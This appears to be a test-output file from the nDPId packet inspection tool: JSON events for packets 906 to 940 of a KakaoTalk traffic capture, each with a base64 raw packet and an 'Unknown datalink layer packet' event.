+00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":906,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":239478,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZpk+AbDIBfqvwQ1SapdpyZAmXjvIDm+J2toff\/r3HvocrG5LDbNArq9x2H81Buq4PZC7+0ecrLl4FPiyRUrlaqlZ3m\/K89OAzlJfjyrH3kNpU0Bk="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":906,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":907,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":245978,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHUAAEAAQBHaLQoYUrwByQGuKBxaBgBh2Y2AbDIEfqv7g1SapdrQI6LERdH4+vIIsAGvuqN7fwPexpUk7EQKraz\/ltInaEhZlbxL7c9TYkdpngBKUebPEfbxMtSDKCQ8DEIABoDeFfg1iYSB\/LFro3jiKg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":907,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":908,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":286566,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAQBHaJwoYUrwByQGuKBxaBgBnlzKAbDIFfqv\/Q1Sapdqx9lHk6o3fnFFSrC2SB1H83OwKKtl3iHNOVj4J42E7mt\/YNfmumC0stiUnGiwUv+OGtwSm2p+I997TtfolwdAqXGI4zeh\/K6t2Oep9070F\/551AA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":908,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":909,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":292884,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHcAAEAAHRH9AwHJAa4KGFK8WgQsOABjjduAbDICfqv0A1Sapdo9doPA4NOIHM3oJtnSuE\/6Zy7QQmBvULF2K2h9e6v\/lZWdz1xvzS5u+5tkWzROj5bqqRlr2aYJLDAJQoW46S7de38pMcj7vlTFCuHWZOdH"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":909,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":910,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":307807,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/5g6AbE9\/izydmguGVRlLf6Y9IGu8W5JvtlHtnl2pIhdfUx\/MkcApCTyyrTFpIRvbilwt8ewfxZtC"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":910,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":911,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":309058,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/Nj+AbE+AizyhWguGVRm3jeKNAAuBGa1f1IQ3CSkFfHbh\/A3qtBaYJlCjmJ3B7SU\/gy3prQPZCJaG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":911,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":912,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":331793,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/4wKAbE98izySWguGVRm2LgwbYphFIQoXWbS1y2zLc0u\/mstdo+J8pYGcnZxYeqX4rAtZFPxjPn5\/"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":912,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":913,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":349372,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHUAAEAAHRH9BQHJAa4KGFK8WgQsOABhfxWAbDIDfqv3w1SapdqpYuYG1A36TRBVticSqk+1eB+l9oVcFhkJKEgOjd\/cQUjXtSFo\/tI67UE1LIRJXZ7nKgVwiu\/mGNLOyvzzfvmLG6ZtnmgtqIGApPUbRQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":913,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":914,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":379584,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/n0WAbE99izyWGguGVRmgJX8YVf9IV53m1xtE3MC3YXHePhzlXSotM0buRKUB3u65Ef0aHdTGJ7Jo"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":914,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":915,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":386389,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAQBHaLgoYUrwByQGuKBxaBgBgpOWAbDIGfqwDA1SapdqiQVvzPFj0GxvGtV4Tg0q5nnb2D8\/7lEKvwd6ukXceklBV6sQmAchkv5uMX5Q7PzPbw2npXEMenU0CF3bnCf5ujakbDM4C0Vu+Vlom"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":915,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":916,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":399481,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/JsWAbE9+izyZ2guGVRmPzZx+V4aTu4lkuMnBNOxfJWLSDcj1Jo2pzSzE1hD9rPO3pgVZiuxjSlze"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":916,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":917,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":409522,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFUAAEAAPxHbTQoYUrwByQGuLDhaBABB6QuAbE+BizylGguGVRm9OvpUr0LbEZiZEAk2mkpJp5DmbGfNe7YeysXiRw5z2qY4bLvD3WA7Ubqbqy4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":917,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":918,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":419501,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHUAAEAAHRH9BQHJAa4KGFK8WgQsOABh1XOAbDIEfqv7g1SapdrQI6LERdH4+vIIsAGvuqN7fwPexpUk7EQKraz\/ltInaEhZlbxL7c9TYkdpngBKUebPEfbxMtSDKCQ8DEIABoDeFfg1iYSB\/LFro3jiKg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":918,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":919,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":425727,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHUAAEAAQBHaLQoYUrwByQGuKBxaBgBh\/l+AbDIHfqwGw1SapdofjmPyrZeYwbmF4lGjgiyKm4FX\/I7lV\/7EJN1y1BgfRmoblFBhQvO8FPGZ8WvYuQMgRHF7TKpz9cLMmb2T6fqiqkETyYqebkaEDDRTcw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":919,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":920,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":428076,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHsAAEAAHRH8\/wHJAa4KGFK8WgQsOABnkxiAbDIFfqv\/Q1Sapdqx9lHk6o3fnFFSrC2SB1H83OwKKtl3iHNOVj4J42E7mt\/YNfmumC0stiUnGiwUv+OGtwSm2p+I997TtfolwdAqXGI4zeh\/K6t2Oep9070F\/551AA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":920,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":921,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":449622,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/6iiAbE9\/izydmguGVRlLf6Y9IGu8W5JvtlHtnl2pIhdfUx\/MkcApCTyyrTFpIRvbilwt8ewfxZtC"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":921,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":922,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":472052,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/OlmAbE+AizyhWguGVRm3jeKNAAuBGa1f1IQ3CSkFfHbh\/A3qtBaYJlCjmJ3B7SU\/gy3prQPZCJaG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":922,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":923,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":507605,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIIAAEAAQBHaIAoYUrwByQGuKBxaBgBuWBSAbDIIfqwKg1SapdrJdkoHGsqmYXqZoLD+JW94O4KvHCX2muvlvsOh77U263wuCOQNLR6c97L\/GTWnqdXMjD8UKDRqPtgbnXxsd4wSndzzVGeEWP4+O6UpYE1k1hK+q6OCdSg8vrY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":923,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":924,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":513373,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKJraAbE+Cizyo2guGVRkiKbDkk0dr5Rw3QYR+w6vSAHQAZKUwgXe\/yBrHTgjC4G7YH0GqOc3MZo+NHAg2DTdTdZNkKd8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":924,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":925,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":513648,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKpaOAbE+DizysmguGVRmYHwEIH5Gu0CAeNMI7DAU9Eo6NpT7QPAbqcWBK1fCYiTSq8CCHyFovCgY1CCyCi9vzgkeVAI4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":925,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":926,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":527960,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHRH9BgHJAa4KGFK8WgQsOABgoMuAbDIGfqwDA1SapdqiQVvzPFj0GxvGtV4Tg0q5nnb2D8\/7lEKvwd6ukXceklBV6sQmAchkv5uMX5Q7PzPbw2npXEMenU0CF3bnCf5ujakbDM4C0Vu+Vlom"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":926,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":927,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":542029,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHMAAEAAQBHaLwoYUrwByQGuKBxaBgBfgJSAbDIJfqwOQ1SapdqI\/vYpKF+zOCrfvMduZ1X12YPdwP3jYJn97URg\/\/k00IrHl2tU6a0E9GOXCwOfDAWcT+TIZHMI3eg7IfsUNLf804K25lxvDjRBoxQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":927,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":928,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":559516,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFUAAEAAHBH+JQHJAa4KGFK8WgYoHABB7SWAbE+BizylGguGVRm9OvpUr0LbEZiZEAk2mkpJp5DmbGfNe7YeysXiRw5z2qY4bLvD3WA7Ubqbqy4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":928,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":929,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":582373,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBeI6yAbDIKfqwSA1SapdqPz3w1a8q3Wn\/7+pq9TydP9y82vTnGjqJTX1d+l39jCvRQ5TNC2xjzGi0DP4ahNXsPXxeinGHokHashXUKLujFFczv2O\/jVJidWQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":929,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":930,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":587439,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHUAAEAAHRH9BQHJAa4KGFK8WgQsOABh+kWAbDIHfqwGw1SapdofjmPyrZeYwbmF4lGjgiyKm4FX\/I7lV\/7EJN1y1BgfRmoblFBhQvO8FPGZ8WvYuQMgRHF7TKpz9cLMmb2T6fqiqkETyYqebkaEDDRTcw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":930,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":931,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":609534,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIWgWAbE+EizywWguGVRkfN5oqiBODmGFjT68g15qfMPxx3wjsP+7f65qMwitjmciYt8uZNnO8QtYNJdRBNbIbWJKA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":931,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":932,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":609687,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJRuGAbE+Fizy0GguGVRmSqPKPMqh1YheZS2bPWOB\/TSw9KsPkXkoyzwS2EqYwM3q+IY9VYgLdSICbDjKm24ZC3DnmmA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":932,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":933,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":659583,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIIAAEAAHRH8+AHJAa4KGFK8WgQsOABuU\/qAbDIIfqwKg1SapdrJdkoHGsqmYXqZoLD+JW94O4KvHCX2muvlvsOh77U263wuCOQNLR6c97L\/GTWnqdXMjD8UKDRqPtgbnXxsd4wSndzzVGeEWP4+O6UpYE1k1hK+q6OCdSg8vrY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":933,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":934,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":669318,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKKtCAbE+Cizyo2guGVRkiKbDkk0dr5Rw3QYR+w6vSAHQAZKUwgXe\/yBrHTgjC4G7YH0GqOc3MZo+NHAg2DTdTdZNkKd8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":934,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":935,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":684424,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHUAAEAAQBHaLQoYUrwByQGuKBxaBgBhwTKAbDILfqwVw1SapdrOZ\/hNfPRFl7pjboQ9kxfaUNjRNhl5IDkq40Y0SGt7v+jBag1Lg9BFKwu40o90iFT73RYqs419FxQhwz1a4Xn3NH5W8Y6eU9LCG0N0tQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":935,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":936,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":691931,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKqb2AbE+DizysmguGVRmYHwEIH5Gu0CAeNMI7DAU9Eo6NpT7QPAbqcWBK1fCYiTSq8CCHyFovCgY1CCyCi9vzgkeVAI4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":936,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":937,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":699469,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHMAAEAAHRH9BwHJAa4KGFK8WgQsOABffHqAbDIJfqwOQ1SapdqI\/vYpKF+zOCrfvMduZ1X12YPdwP3jYJn97URg\/\/k00IrHl2tU6a0E9GOXCwOfDAWcT+TIZHMI3eg7IfsUNLf804K25lxvDjRBoxQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":937,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":938,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":709998,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFsH2AbE+Gizy32guGVRlb3c3s0gGReeTV7TBucUsXIef3lQe8\/1AMHFFsRU6QtK3hBRT0Sw+6LQY35YMFIN7I"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":938,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":939,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":719458,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABeH5KAbDIKfqwSA1SapdqPz3w1a8q3Wn\/7+pq9TydP9y82vTnGjqJTX1d+l39jCvRQ5TNC2xjzGi0DP4ahNXsPXxeinGHokHashXUKLujFFczv2O\/jVJidWQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":939,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":940,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069183,"pkt_ts_usec":726081,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAQBHaMQoYUrwByQGuKBxaBgBd5EWAbDIMfqwZg1SapdqdJhSrjpycwIGyWMXh7KfrvOrAcoJkpdc7HWVXdrOC84lUhrjI7XA2pC3MdlX+1BIb64kfo\/Giu6XUmZx+x\/GIu+tcksKMp8Nw"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":940,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 